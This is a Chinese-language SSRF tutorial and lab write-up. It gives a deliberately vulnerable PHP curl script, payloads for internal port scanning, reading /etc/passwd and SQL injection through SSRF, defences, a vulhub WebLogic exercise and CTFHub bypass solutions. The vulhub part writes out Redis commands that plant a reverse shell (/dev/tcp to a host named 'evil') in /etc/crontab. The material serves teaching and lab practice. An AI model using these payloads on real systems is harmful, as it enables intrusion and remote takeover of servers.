SSRF服务端请求伪造

服务端请求伪造，其实就是攻击者构造恶意请求，服务端发起恶意请求，如果服务端不对用户传递的参数进行严格的过滤和限制，就可能导致服务端请求伪造

上面是百度识图，我们可以传递图片地址，百度识图向图片发起请求，如果请求是恶意的，并且没有进行过滤和验证，就可能导致服务端请求伪造

SSRF漏洞代码示例

<?php
if(isset($_REQUEST['url'])){$link = $_REQUEST['url'];$fileName = './curled/'.time().".txt";$curlObj = curl_init($link);$fp = fopen($fileName,'w');curl_setopt($curlObj,CURLOPT_FILE,$fp);curl_setopt($curlObj,CURLOPT_HEADER,0);curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);curl_exec($curlObj);curl_close($curlObj);fclose($fp);if(getimagesize($fileName)){header("Content-Type:image/png");}$fp = fopen($fileName,'r');$result = fread($fp,filesize($fileName));fclose($fp);echo $result;
}else{echo "?url=[url]";
}
?>

SSRF漏洞原理

服务端接受客户端的url地址，并且服务端发送该URL请求

对用户输入的url过滤不严，导致任意url输入

没有对响应的结果进行响应，直接输出

SSRF危害

端口扫描

内网指纹识别

攻击内网应用

读取本地文件

SSRF利用

文件访问

?url=http://www.baidu.com
?url=http://www.baidu.com/img/bd_logo.png
?url=http://www.baidu.com/robots.txt

端口扫描

?url=http://127.0.0.1:80
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306
?url=http://10.10.10.1:22
?url=http://10.10.10.1:6379

读取本地文件

?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd
?url=file:/c:/www/ssrf/ssrf_curl.php

内网指纹识别

?url=http://127.0.0.1/phpmyadmin/readme

攻击内网web应用

?url=http://127.0.0.1/cms/show.php?
id=-33/*A*/union/*J*/select/*E*/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/*S*/from/*T*/cms_
users
?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32
%30from%25%32%30cms_users

SSRF防御

过滤输入

限制协议，仅允许 http 或 https 协议；

限制IP，避免应用被用来获取内网数据，攻击内网；

限制端口，限制请求端口为常用端口。

过滤输出

过滤返回信息，只要不符合要求的，全部过滤；

统一错误信息，让攻击无法对内网信息进行判断。

SSRF 挖掘

转码服务

在线翻译

图片加载与下载

图片、文章收藏功能

未公开的API 实现

SSRF练习

vulhub ssrf漏洞复现

拉取docker环境，拉取需要较长时间

访问http://192.168.142.151:7001/console/login/LoginForm.jsp，这是一个登录界面，但是现在不需要用这个，用这个只是测试环境是否搭建成功

根据提示，访问`http://your-ip:7001/uddiexplorer/`

burp抓包

修改访问127.0.0.1的80端口，发现不能访问

先使用dnslog看是否存在ssrf漏洞

可以看到，确实存在ssrf

首先明确一点，通过ssrf探测内网中的redis服务器（docker环境的网段一般是172.*），我们的目的是通过ssrf攻击内网的redis服务器，如图

ip a查看IP

先用ssrf进行内网端口扫描，

可访问的端口将会得到错误，一般是返回status code（如下图），如果访问的非http协议，则会返回`did not have a valid SOAP content-type`。修改为一个不存在的端口，将会返回`could not connect over HTTP to server`。

172.17.0.1

172.18.0.1

172.19.0.1

172.20.0.1

访问.2，发现只有172.20.0.2，访问他的其他端口

发现redis服务开启

发送三条redis命令，将弹shell脚本写入`/etc/crontab`：

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

进行url编码：

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意，换行符是“\r\n”，也就是“%0D%0A”。

可以看到，计划任务提权成功了，这个漏洞运用了服务端请求伪造，计划任务，还利用了CRLF，即通过换行符来执行多条命令

ctfhub

302跳转bypass

先看一下是否有ssrf漏洞,题目说flag在127.0.0.1的flag.php里，127.0.0.1不行，试了一下localhost可以

内网访问

直接访问127.0.0.1/flag.php就行

伪协议读取文件

URL伪协议有如下这些：
file:///
dict://
sftp://
ldap://
tftp://
gopher://

端口扫描

提示端口在8000到9000，使用bp的intuder模块进行扫描，得到8828端口

访问即可

URLbypass

这题主要考的是url地址解析，简单来说，就是http://www.baidu.com@192.168.0.1/与http://192.168.0.1请求的都是192.168.0.1的内容。
因此这个题目要求url must startwith “http://notfound.ctfhub.com”
我们直接构造?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
成功得到flag。